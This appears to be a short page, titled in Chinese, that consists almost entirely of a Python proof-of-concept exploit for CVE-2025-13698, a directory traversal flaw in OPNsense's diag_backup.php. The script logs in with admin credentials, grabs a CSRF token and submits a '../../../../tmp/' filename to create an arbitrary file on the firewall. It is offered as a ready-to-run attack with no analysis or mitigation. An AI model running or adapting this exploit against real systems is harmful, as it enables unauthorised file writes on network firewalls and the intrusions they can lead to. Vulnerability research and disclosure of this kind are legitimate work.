CVE-2025-13698 OPNsense diag_backup.php 目录遍历任意文件创建漏洞

import requests import re # CVE-2025-13698 PoC - OPNsense Directory Traversal File Creation # Target: OPNsense diag_backup.php # Requirement: Valid admin credentials TARGET = "http://target-ip:443" USERNAME = "admin" PASSWORD = "password" def exploit(): # Login to OPNsense session = requests.Session() login_data = { "usernamefld": USERNAME, "passwordfld": PASSWORD } resp = session.post(f"{TARGET}/api/core/authentication", json=login_data) if resp.status_code != 200: print("[-] Authentication failed") return False # Extract CSRF token from response token = resp.json().get('token') # Directory traversal payload to write file to /tmp/ filename = "../../../../tmp/pwned_by_cve2025_13698" malicious_content = "test file created via CVE-2025-13698" # Trigger backup with path traversal backup_data = { "filename": filename, "content": malicious_content } headers = { "X-CSRF-Token": token, "Content-Type": "application/json" } resp = session.post( f"{TARGET}/api/backup/diag_backup.php", json=backup_data, headers=headers ) if resp.status_code == 200: print("[+] File created successfully via directory traversal") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": exploit()